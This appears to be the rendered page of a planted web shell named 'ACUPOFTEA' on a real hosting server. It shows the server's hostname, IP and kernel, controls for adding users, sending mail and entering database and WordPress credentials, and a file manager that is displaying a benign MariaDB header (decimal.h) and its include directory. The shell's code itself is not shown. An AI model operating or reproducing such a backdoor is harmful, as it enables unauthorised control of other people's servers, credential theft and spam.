System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
mysql
/
server
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
decimal.h
/* Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335 USA */ #ifndef _decimal_h #define _decimal_h #ifdef __cplusplus extern "C" { #endif typedef enum {TRUNCATE=0, HALF_EVEN, HALF_UP, CEILING, FLOOR} decimal_round_mode; typedef int32 decimal_digit_t; /** intg is the number of *decimal* digits (NOT number of decimal_digit_t's !) before the point frac is the number of decimal digits after the point len is the length of buf (length of allocated space) in decimal_digit_t's, not in bytes sign false means positive, true means negative buf is an array of decimal_digit_t's */ typedef struct st_decimal_t { int intg, frac, len; my_bool sign; decimal_digit_t *buf; } decimal_t; int internal_str2dec(const char *from, decimal_t *to, char **end, my_bool fixed); int decimal2string(const decimal_t *from, char *to, int *to_len, decimal_digits_t fixed_precision, decimal_digits_t fixed_decimals, char filler); int decimal2ulonglong(const decimal_t *from, ulonglong *to); int ulonglong2decimal(ulonglong from, decimal_t *to); int decimal2longlong(const decimal_t *from, longlong *to); int longlong2decimal(longlong from, decimal_t *to); int decimal2double(const decimal_t *from, double *to); int double2decimal(double from, decimal_t *to); decimal_digits_t decimal_actual_fraction(const decimal_t *from); int decimal2bin(const decimal_t *from, uchar *to, decimal_digits_t precision, decimal_digits_t scale); int bin2decimal(const uchar *from, decimal_t *to, decimal_digits_t precision, decimal_digits_t scale); uint decimal_size(decimal_digits_t precision, decimal_digits_t scale); uint decimal_bin_size(decimal_digits_t precision, decimal_digits_t scale); uint decimal_result_size(decimal_t *from1, decimal_t *from2, char op, int param); decimal_digits_t decimal_intg(const decimal_t *from); int decimal_add(const decimal_t *from1, const decimal_t *from2, decimal_t *to); int decimal_sub(const decimal_t *from1, const decimal_t *from2, decimal_t *to); int decimal_cmp(const decimal_t *from1, const decimal_t *from2); int decimal_mul(const decimal_t *from1, const decimal_t *from2, decimal_t *to); int decimal_div(const decimal_t *from1, const decimal_t *from2, decimal_t *to, int scale_incr); int decimal_mod(const decimal_t *from1, const decimal_t *from2, decimal_t *to); int decimal_round(const decimal_t *from, decimal_t *to, int new_scale, decimal_round_mode mode); int decimal_is_zero(const decimal_t *from); void max_decimal(decimal_digits_t precision, decimal_digits_t frac, decimal_t *to); #define string2decimal(A,B,C) internal_str2dec((A), (B), (C), 0) #define string2decimal_fixed(A,B,C) internal_str2dec((A), (B), (C), 1) /* set a decimal_t to zero */ #define decimal_make_zero(dec) do { \ (dec)->buf[0]=0; \ (dec)->intg=1; \ (dec)->frac=0; \ (dec)->sign=0; \ } while(0) /* returns the length of the buffer to hold string representation of the decimal (including decimal dot, possible sign and \0) */ #define decimal_string_size(dec) (((dec)->intg ? (dec)->intg : 1) + \ (dec)->frac + ((dec)->frac > 0) + 2) /* negate a decimal */ #define decimal_neg(dec) do { (dec)->sign^=1; } while(0) /* conventions: decimal_smth() == 0 -- everything's ok decimal_smth() <= 1 -- result is usable, but precision loss is possible decimal_smth() <= 2 -- result can be unusable, most significant digits could've been lost decimal_smth() > 2 -- no result was generated */ #define E_DEC_OK 0 #define E_DEC_TRUNCATED 1 #define E_DEC_OVERFLOW 2 #define E_DEC_DIV_ZERO 4 #define E_DEC_BAD_NUM 8 #define E_DEC_OOM 16 #define E_DEC_ERROR 31 #define E_DEC_FATAL_ERROR 30 #ifdef __cplusplus } #endif #endif
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-07 11:01:51
..
DIR
-
drwxr-xr-x
2025-08-07 11:01:51
mysql
DIR
-
drwxr-xr-x
2025-08-07 11:01:51
private
DIR
-
drwxr-xr-x
2025-08-07 11:01:51
big_endian.h
text/plain
4.4 KB
-rw-r--r--
2025-07-28 03:52:25
byte_order_generic.h
text/plain
5.12 KB
-rw-r--r--
2025-07-28 03:52:25
byte_order_generic_x86.h
text/plain
4.18 KB
-rw-r--r--
2025-07-28 03:52:25
byte_order_generic_x86_64.h
text/plain
4.03 KB
-rw-r--r--
2025-07-28 03:52:25
decimal.h
text/x-c
4.81 KB
-rw-r--r--
2025-07-28 03:52:25
errmsg.h
text/x-c
4.31 KB
-rw-r--r--
2025-07-28 03:52:25
handler_ername.h
text/plain
4.5 KB
-rw-r--r--
2025-07-28 03:52:25
handler_state.h
text/plain
758 B
-rw-r--r--
2025-07-28 03:52:25
json_lib.h
text/x-c
13.45 KB
-rw-r--r--
2025-07-28 03:52:25
keycache.h
text/x-c
8.62 KB
-rw-r--r--
2025-07-28 03:52:25
little_endian.h
text/plain
3.49 KB
-rw-r--r--
2025-07-28 03:52:25
m_ctype.h
text/x-c
63.76 KB
-rw-r--r--
2025-07-28 03:52:25
m_string.h
text/x-c
10.07 KB
-rw-r--r--
2025-07-28 03:52:25
ma_dyncol.h
text/x-c
7.86 KB
-rw-r--r--
2025-07-28 03:52:25
mariadb_capi_rename.h
text/plain
3.34 KB
-rw-r--r--
2025-07-28 03:52:25
my_alloc.h
text/x-c
2.02 KB
-rw-r--r--
2025-07-28 03:52:25
my_alloca.h
text/x-c
1.4 KB
-rw-r--r--
2025-07-28 03:52:25
my_attribute.h
text/plain
3.49 KB
-rw-r--r--
2025-07-28 03:52:25
my_byteorder.h
text/x-c
2 KB
-rw-r--r--
2025-07-28 03:52:25
my_cmp.h
text/x-c
914 B
-rw-r--r--
2025-07-28 03:52:25
my_compiler.h
text/x-c++
5.14 KB
-rw-r--r--
2025-07-28 03:52:25
my_config.h
text/plain
14.23 KB
-rw-r--r--
2025-07-28 03:57:47
my_dbug.h
text/x-c
9.87 KB
-rw-r--r--
2025-07-28 03:52:25
my_decimal_limits.h
text/plain
2.03 KB
-rw-r--r--
2025-07-28 03:52:25
my_dir.h
text/x-c
3.8 KB
-rw-r--r--
2025-07-28 03:52:25
my_getopt.h
text/x-c
5.47 KB
-rw-r--r--
2025-07-28 03:52:25
my_global.h
text/x-c
32.02 KB
-rw-r--r--
2025-07-28 03:52:25
my_list.h
text/x-c
1.47 KB
-rw-r--r--
2025-07-28 03:52:25
my_net.h
text/x-c
1.98 KB
-rw-r--r--
2025-07-28 03:52:25
my_pthread.h
text/x-c
26.97 KB
-rw-r--r--
2025-07-28 03:52:25
my_sys.h
text/x-c
43.2 KB
-rw-r--r--
2025-07-28 03:52:25
my_valgrind.h
text/plain
4.44 KB
-rw-r--r--
2025-07-28 03:52:25
my_xml.h
text/x-c
2.77 KB
-rw-r--r--
2025-07-28 03:52:25
mysql.h
text/x-c
38.8 KB
-rw-r--r--
2025-07-28 03:52:25
mysql_com.h
text/x-c
30.14 KB
-rw-r--r--
2025-07-28 03:52:25
mysql_com_server.h
text/x-c
1.28 KB
-rw-r--r--
2025-07-28 03:52:25
mysql_embed.h
text/plain
1.1 KB
-rw-r--r--
2025-07-28 03:52:25
mysql_time.h
text/plain
2.36 KB
-rw-r--r--
2025-07-28 03:52:25
mysql_version.h
text/x-c
1.25 KB
-rw-r--r--
2025-07-28 03:57:47
mysqld_ername.h
text/plain
124.53 KB
-rw-r--r--
2025-07-28 04:21:56
mysqld_error.h
text/x-Algol68
46.87 KB
-rw-r--r--
2025-07-28 04:21:56
pack.h
text/x-c
1.08 KB
-rw-r--r--
2025-07-28 03:52:25
sql_common.h
text/x-c
5.14 KB
-rw-r--r--
2025-07-28 03:52:25
sql_state.h
text/x-Algol68
14.55 KB
-rw-r--r--
2025-07-28 04:21:56
sslopt-case.h
text/plain
1.5 KB
-rw-r--r--
2025-07-28 03:52:25
sslopt-longopts.h
text/plain
2.59 KB
-rw-r--r--
2025-07-28 03:52:25
sslopt-vars.h
text/plain
1.37 KB
-rw-r--r--
2025-07-28 03:52:25
typelib.h
text/x-c
2.34 KB
-rw-r--r--
2025-07-28 03:52:25
~ ACUPOFTEA - mail.ontime-ae.com